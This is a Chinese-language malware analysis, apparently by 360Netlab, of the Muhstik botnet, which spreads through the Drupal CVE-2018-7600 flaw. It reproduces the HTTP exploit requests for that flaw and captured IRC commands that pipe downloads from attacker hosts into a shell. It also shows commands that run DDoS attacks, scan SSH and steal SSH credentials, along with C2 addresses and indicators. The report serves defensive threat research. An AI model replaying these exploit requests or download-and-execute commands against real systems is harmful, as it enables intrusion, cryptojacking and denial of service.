2018年3月28日,Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统,由PHP语言写成,有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中,攻击者可以利用该漏洞完全控制网站。
从2018年4月13日开始,360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析,我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为,感染量显著比其他的恶意软件更多。分析后,我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik,这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。
我们认为 muhstik 有以下特点值得社区关注:
- 蠕虫式传播
- 长期存在
- 使用的漏洞利用数目众多
- 混合使用了多种牟利方式
攻击载荷
按照时间顺序,Muhstik使用了下面两组攻击载荷,这两组载荷占据了全部看到的载荷的80%左右,是我们看到的攻击的主要部分:
- #1 活跃时间:2018-04-14 03:33:06~ 2018-04-17 15:40:58
- #2 活跃时间:2018-04-16 19:38:39~至今
对应的攻击来源,其 IP 地址非常分散,而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标,这是蠕虫式传播的重要指标,引起了我们的警觉。
两组攻击载荷的详细信息如下:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 2048 form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php
样本 aiox86 导致了上述攻击载荷 #2
有以下关键样本
da17dc1438bb039968a5737c6fbc88cd aiox86
我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷:
- #2 攻击载荷,存在于该样本中
- #1 攻击载荷与 #2 非常相似,我们认为应该是该样本的相关样本产生
下图是样本脱壳后的部分片段,与 #2 攻击载荷完全一致。
事实上,该样本的扫描行为已经比较复杂,远不止前述针对 drupal 漏洞的扫描:
- 扫描目标IP地址:会从远端服务器 191.238.234.227 获取目标IP地址,这样攻击者可以对攻击目标有较为灵活的控制;
- 投递漏洞载荷:不仅限于 Drupal,还包括另外 6 种漏洞载荷;
- 扫描目标端口:不仅限于 TCP 80,还包括TCP端口 8080, 7001, 2004;每个端口上会尝试若干不同载荷;
- 扫描结果上报:载荷植入成功后,会访问远端服务器 51.254.219.134 上报,不同载荷访问不同的URL。通过这种方式,攻击者可以很轻易的识别受害者的弱点。
获取扫描目标IP地址:
hxxp://191.238.234.227/amazon.php #我们尝试从这个URL上获得了50个网段,均属于Amazon所有 hxxp://191.238.234.227/dedi.php #我们尝试从这个URL上获得了50个网段,所属公司较为分散
所投递的漏洞载荷:
ClipBucket:rss.php DasanNetwork Solution:/cgi-bin/index.cgi Drupal:CVE-2018-7600 WebDav Weblogic:CVE-2017-10271 Webuzo:install.php WordPress:install.php
扫描目标端口与载荷的对应关系:
80:Weblogic,Wordpress,Drupal,WebDav,ClipBucket 2004:Webuzo 7001:Weblogic 8080:Wordpress,WebDav,DasanNetwork Solution
载荷上报信息接口:
hxxp://51.254.219.134/clipbucket.php #ClipBucket hxxp://51.254.219.134/dasan.php #DasanNetwork_Solution hxxp://51.254.219.134/dav.php #Webdav hxxp://51.254.219.134/drupal.php #Drupal hxxp://51.254.219.134/oracleaudit.php?port= #Weblogic hxxp://51.254.219.134/tomato.php #http401,用作探测中间状态 hxxp://51.254.219.134/webuzo.php #Webuzo hxxp://51.254.219.134/wp.php #Wordpress
样本aiox86 是由 Muhstik 僵尸网络分发的
在 360网络安全研究院,我们持续的监控诸多僵尸网络的攻击指令。本次我们发现,139.99.101.96:9090 控制服务器,在2018-04-19 04:04附近,通过下述指令分发了样本 aiox86:
上述C2,隶属于 Muhstik 僵尸网络家族。
Muhstik 僵尸网络家族
Muhstik 是 Tsunami 僵尸网络的一个变种,其特点包括:
- 代表样本: c37016e34304ff4a2a0db1894cdcdb92
- C2服务器: 域名/IP地址共计11个,见后,端口均为 9090。我们猜测这是为了负载均衡
- 通信协议: 基于IRC服务协议,通过不同的Channel发送不同指令
- IRC Channel:我们观察到有多个IRC Channel,均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle,这是由IRC协议本身的特性决定的,仅在我们接收到对应Channel里的通信指令时,才能确认攻击者在该服务器上开通了该Channel
Muhstik 僵尸网络的结构已经比较复杂了,如前所述,样本中硬编码了11个C2域名/IP。除此之外,其传播和获利方式也多种多样。
Muhstik 的传播模块:
- aioscan扫描模块:如前所述,该扫描模块里包含了4个端口上6种扫描载荷
- SSH扫描模块:弱口令扫描
Muhstik 的获利方式:
- xmrig 挖矿:挖取XMR数字代币,对应的矿池地址是147.135.208.145:4871,自建矿池。
- cgminer挖矿:挖取BTC数字代币,使用了多个矿池,用户名均为reb0rn.D3
- DDoS 攻击:我们在2018-04-19 当天 07:20~07:40期间,截获多条针对 46.243.189.102 的攻击指令。(在我们的DDoSMon.net没有看到这次攻击,但是看到了较早前针对该IP地址的多次攻击)
Muhstik cgminer 钱包和矿池地址:
{ "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }
Muhstik C2 列表,按照其在样本中硬编码的顺序:
139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效
IRC Channel,字母序:
#muhstik #muhstik-i586 #muhstik-SSH #muhstik-x86
我们监听这些 IRC Channel时获取到若干指令,部分指令如下,截图依次见后:
#muhstik-x86 #植入xmrig64挖矿程序; #muhstik-x86 #植入Muhstik.aioscan扫描模块 #muhstik-x86 #探测bot是否有drupal存在 #muhstik #植入Muhstik.aioscan扫描模块 #muhstik #发出DDoS攻击指令; #muhstik-SSH #cgminer 挖矿程序的配置文件; #muhstik-SSH #执行SSH扫描 #muhstik-SSH #窃取本地保存的ssh凭证,进一步横向扩展,投递自身,实现蠕虫式传播 #muhstik-i586 #植入 Muhstik.aioscan #muhstik-i586 #植入xmrig32挖矿程序
#muhstik-x86 #植入xmrig64挖矿程序
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &
#muhstik-x86 #植入Muhstik.aioscan扫描模块
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &
#muhstik-x86 #探测bot是否有drupal存在
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal" :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"
#muhstik #植入Muhstik.aioscan扫描模块
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &
#muhstik #发出DDoS攻击指令;
:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX
#muhstik-SSH #cgminer 挖矿程序的配置文件
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &
#muhstik-SSH #窃取本地保存的ssh凭证,进一步横向扩展,投递自身,实现蠕虫式传播
:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &
#muhstik-SSH #执行SSH扫描
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137
#muhstik-i586 #植入 Muhstik.aioscan
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &
#muhstik-i586 #植入xmrig32挖矿程序
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &
Muhstik 可能来源已久
通过对 Muhstik 相关域名的历史溯源,我们发现 Muhstik 由来已久,跟以下域名有较为强烈的关联关系。
dasan.deutschland-zahlung.eu 134.ip-51-254-219.eu uranus.kei.su wireless.kei.su www.kei.su y.fd6fq54s6df541q23sdxfg.eu
IoC
Muhstik C2 List
139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效
Muhstik Malware URL
hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd hxxp://191.238.234.227/x/aiox86
Muhstik Malware MD5
c37016e34304ff4a2a0db1894cdcdb92 #Muhstik样本模块 da17dc1438bb039968a5737c6fbc88cd #Muhstik扫描模块
声明:本文来自360Netlab,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。